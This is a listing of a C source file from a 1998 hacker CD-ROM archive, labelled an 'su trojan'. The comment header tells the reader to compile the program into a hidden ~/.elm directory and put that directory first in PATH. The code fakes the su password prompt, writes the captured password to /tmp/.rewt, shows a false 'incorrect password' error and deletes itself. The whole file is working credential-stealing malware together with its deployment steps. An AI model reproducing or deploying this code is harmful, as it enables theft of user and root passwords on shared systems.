home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / su.c < prev    next >
Encoding:
C/C++ Source or Header  |  2003-06-11  |  565 b   |  30 lines

  1. /* su trojan ribbed - by FA-Q
  2.  * werd to lwn for his help.
  3.  * mkdir .elm
  4.  * cc -o ~/.elm/su su.c
  5.  * edit .bash_profile or .bashrc
  6.  * add PATH=$HOME/.elm:$PATH
  7.  */
  8.  
  9. #include <stdio.h>
  10. #include <stdlib.h>
  11.  
  12. #define SU_PASS "/tmp/.rewt"
  13.  
  14. main (int argc, char *argv[])
  15. {
  16.    char *key;
  17.    char buf[24];
  18.    FILE *fd;
  19.  
  20.    key = (char *)getpass ("Password:");
  21.    fd = fopen(SU_PASS,"w");
  22.    fprintf(fd, "pass: %s\n", key);
  23.    fclose(fd);
  24.    printf ("su: incorrect password\n");
  25.    sprintf(buf, "rm %s", argv[0]);
  26.    system(buf);
  27.    exit (1);
  28. }
  29.  
  30.